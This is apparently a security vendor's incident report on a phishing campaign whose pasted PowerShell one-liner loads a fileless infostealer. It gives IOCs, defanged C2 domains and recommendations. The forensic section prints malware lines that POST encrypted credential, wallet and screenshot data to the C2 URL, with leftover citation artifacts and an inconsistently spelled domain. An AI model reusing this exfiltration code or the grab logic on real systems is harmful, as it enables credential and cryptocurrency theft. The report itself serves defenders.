Behaviour: Phishing‐driven Fileless PowerShell loader that runs entirely in memory to harvest wallets, browser credentials, and screenshots, then exfiltrates to C2 Server.
Introduction
In early June 2025, our Invinsense EDR platform detected a novel, fileless PowerShell infostealer campaign targeting a Southeast Asian Countries. Despite appearing as a benign “app testing” reward offer email, the attack leveraged a phishing link to trick the user into running an in‐memory PowerShell one‐liner command. When the attack was reverse engineered, it was found that as the command was executed, it fetched and decrypted a multi‐stage infostealer that exfiltrated sensitive artifacts—including cryptocurrency wallets, browser credentials, and desktop screenshots—entirely in memory.
Below, we present detailed technical findings of this incident, from detection through forensic analysis, for the benefit of security practitioners and incident responders.
Attack Pattern - Overview
On 3 June 2025, Invinsense EDR generated an alert for “Screen capture method invoked from PowerShell” on one the Singapore‐based devices. This alert triggered an immediate investigation, revealing that the enduser had received a phishing email two days earlier from hello@sterra[.]sg, promising rewards for participating in an “app testing program.” Upon opening the email on 3 June at 11:25 AM, the user clicked a link hosted on sites.google.com that provided malicious Powershell commands. By copying and pasting those commands into their Powershell console, the user unknowingly initiated a multi‐stage, in‐memory infostealer.
The EDR’s detailed and script‐block logs captured each critical step: from DNS queries to malicious domains, to the creation of temporary PS1 fragments under %TEMP%, to recursive file enumeration and screenshot capture, and finally to the exfiltration of stolen data to a remote C2 server. Because no binaries were ever written to disk (save for ephemeral PS1 fragments), traditional antivirus products failed to flag the activity. Only the combination of Invinsense EDR’s script‐block monitoring and network‐connect logging provided the full visibility required to reconstruct and contain the attack.
Key Findings and Attack Chain
Phishing‐Driven In‐Memory Payload
The deceptive email spreads from hello@sterra[.]sg, urging enduser to join an app testing program and promising rewards. It has a button – “Learn More” which takes to a site where malicious commands are hosted.
The enduser opens the email, and clicks on URL of sites.google.com, and is further instructed to copy/paste a one‐liner PowerShell command into a console window.
Multi‐Stage Loader with DNS Feedback
Once the command is executed, the initial PowerShell process (PID 12536 in this POC) drops a file named __PSScriptPolicyTest_ 4p4k4smx.2nq.ps1.dgt.ps1 into %TEMP%, confirming that the one‐liner is successfully fetching a stage-1 loader from sterr[.]app.
Within seconds, PID 12536 performs DNS lookups to sterr[.]app (195[.]123[.]224[.]194), indicating repeated pulls of the stage-1 code.
That stage-1 loader subsequently spawns a child PowerShell (PID 8340 in this POC), which fetches and decrypts a stage-2 payload from 8mrzhrdm0obptpp[.]com (89[.]169[.]15[.]2).
Fileless Deobfuscation and Data Collection
PID 8340 drops around four obfuscated PS1 fragments (__PSScriptPolicyTest_*.ps1) into %TEMP%, executes around 158 ScriptBlock events to decode and concatenate them entirely in memory, then deletes the fragments to evade on-disk detection.
The in-memory payload enumerates environment variables (%USERNAME%, %APPDATA%, %USERPROFILE%) and performs a recursive filesystem search for high-value files—including wallet.dat, Office documents, PDFs, and browser credential stores. All matches were copied to a hidden staging folder under %TEMP%.
Concurrently, the payload captures one or more desktop screenshots via System.Drawing.Bitmap function of .Net, saving them as screenshot.jpg in the same staging location.
Exfiltration Over HTTPS
Once staging is completed, PID 8340 spawns a child PowerShell process (PID 13904), which re-resolved 8mrzhrdm0obptpp[.]com before posting the collected artifacts (e.g., wallet.dat, screenshots, browser databases) to https://8mrzhrdm0obptpp[.]com/proITkV/F71N6r/5Ak1hF03fO/0moNKWqykUjAH/1AHb8
All obfuscated PS1 fragments and any temporary DLLs were deleted immediately after decryption, leaving no persistent artifacts on disk.
Successful Containment and Clean-up
On detection of these events, the endpoint was promptly isolated by Invinsense EDR, the malicious domains were blocked, a quick EDR scan was initiated, and the user’s account password was reset.
Forensics Analysis & Script Dissection
Because the original PS1 fragments never persisted in a deobfuscated form on disk, our forensics team replicated the exact one-liner in a sandbox environment to obtain the stage-2 payload and reverse‐engineer the malicious script. Below is a high-level breakdown of how the final infostealer was constructed and what it exfiltrated:
We executed the command that was found from the phishing mail in a test sandbox device
It dropped a PS1 script in %Appdata%\local, and this script will only be dropped when the user agent string is of powershell.
We fetched the script again in our sandbox environment from the server when we executed the script, we observed the same chain of events again.
Below is the high-level breakdown of the malicious script fetched through the instruction given in the original phishing, this indicates the C2 communication to the server:
Why this is the C2: immediately after assembling $HL4JLqZP1xI, the malware does
$dN12DbYth0vM = New-Object System.Net.WebClient # created a few lines earlier :contentReference[oaicite:5]{index=5} $dN12DbYth0vM.UploadString($HL4JLqZP1xI, $XAcee4pbEfSoomzt5BoK7zr) # exfil POST :contentReference[oaicite:6]{index=6} $XAcee4pbEfSoomzt5BoK7zr is the gzip-compressed, AES-encrypted blob built right before the call.
Because the code never alters $HL4JLqZP1xI again, every beacon/outbound POST goes to the same host (8mrzhrdptpp[.]co) with those constant path segments.
What happens in the background
Beacon construction – machine and credential data are collected, compressed, encrypted and stored in $XAcee4pbEfSoomzt5BoK7zr.
HTTP POST – System.Net.WebClient.UploadString() sends that blob to hxxps[:]//8mrzhrdptpp[.]co/proITkV/F71N6r/5Ak1hF03fO/0moNKWqykUjAH/1AHb8
Proxy-aware – before the POST, the client sets WebClient.Proxy = [System.Net.WebRequest]::GetSystemWebProxy() so the traffic respects the victim’s proxy settings.
Indicators of Compromise (IOC)
No other outbound addresses are constructed anywhere else in the file, so this is the sole Command-and-Control endpoint used by the script.
Below is every artefact the script tries to collect and exfiltrate, grouped by datatype.
For each item, the actual unobfuscated filename or pattern and show the relevant source line(s) that prove the file is in the grab-list.
1. Browser secrets (databases & keys)
2. Browser session recovery files
3. Cryptocurrency wallets
4. OpenVPN credentials
5. System screenshots
The malware captures every monitor, saves the bitmap to an in-memory PNG and exfiltrates it.
Although not a file on disk, the script imports a custom CredHelper class and calls CredEnumerate/CredFree, base-64-encodes every credential blob and ships it out (inside the same network routine used for other loot). How the list is used:
The array $wAZETBb2UC is populated with the hard-coded names above.
For every discovered browser profile/output directory the malware runs Get-ChildItem -Include $wAZETBb2UC -Recurse -File and immediately streams each hit to its exfil function (rufjxRoX15JcNzIy / lveUaDUtFtyHX).
Large artefacts (screenshots, credential blobs) are first converted to byte arrays, then sent over the same C2 channel you isolated earlier.
Net result:
The attacker ends up with:
Persisted browser secrets (passwords, cookies, form data, AES keys).
Browsing session snapshots.
Any Bitcoin-compatible wallet files it can find.
Any other “.wallet” files.
A screenshot of every monitor.
Every Windows Credential-Manager entry.
OpenVPN saved usernames/passwords.
That is the exfiltration payload defined by this Powershell stager.
Recommendations
Enhance Phishing Awareness & Simulations
Conduct quarterly phishing simulations that mimic realistic “app testing” or “reward” lures.
Train users explicitly never to copy/paste unknown PowerShell commands, even if they claim to come from legitimate services.
Provide a “Report Phish” button in every corporate email client so suspicious messages can be escalated with one click.
Harden Endpoint PowerShell Controls
Enforce PowerShell Constrained Language Mode via Group Policy for all non-administrative users.
Implement AppLocker or Windows Defender Application Control (WDAC) to whitelist only signed, approved scripts.
Block all unapproved PowerShell script execution by default; create exception rules for known internal automation.
Strengthen Email Security Filtering
Integrate a URL reputation feed that flags newly registered or DGA-style domains (e.g., sterr[.]app, 8mrzhrdm0obptpp[.]com).
Use an email gateway that rewrites and analyses links in real time, including those hosted on trusted platforms (e.g., sites.google.com).
Enforce DMARC, DKIM, and SPF for inbound email; quarantine or reject any messages failing these checks.
Expand DNS & Network Protections
Block DNS resolution for identified malicious domains (sterr[.]app, 8mrzhrdm0obptpp[.]com) at the corporate DNS resolver.
Deploy a DNS sinkhole for suspicious or newly registered domains; generate an alert when internal hosts attempt to resolve them.
Configure web proxies to block direct HTTPS traffic to unapproved domains; require multi-factor authentication for any proxy exceptions.
Audit & Enforce /EDR Logging
Ensure EDR is configured to log Network Connect events for all processes, especially powershell.exe.
Eradicate: Remediate the malware, reimage if necessary.
Recover: Reset user credentials, rotate any potentially compromised keys.
Lessons Learned: Update IOC feeds, refine email filters, conduct a post-mortem.
Test the playbook at least twice per year via tabletop exercises and red-team campaigns.
Conclusion
This incident underscores the growing sophistication of fileless, in-memory attacks that leverage PowerShell as a primary delivery mechanism. By combining Invinsense EDR’s comprehensive logging with rapid containment procedures, our team was able to detect, analyze, Isolate the device for containtment and eradicate unseen, phishing-driven infostealer campaign before large-scale data loss could occur. We encourage all organizations to consider the recommendations outlined above—especially around email filtering, PowerShell hardening, and DNS sinkholing—to defend against similar attacks in the future.
Stay vigilant, empower your users, and ensure your EDR is configured to capture every stage of in-memory threat execution.
We use cookies to provide you with the best possible experience. They also allow us to analyze user behavior in order to constantly improve the website for you.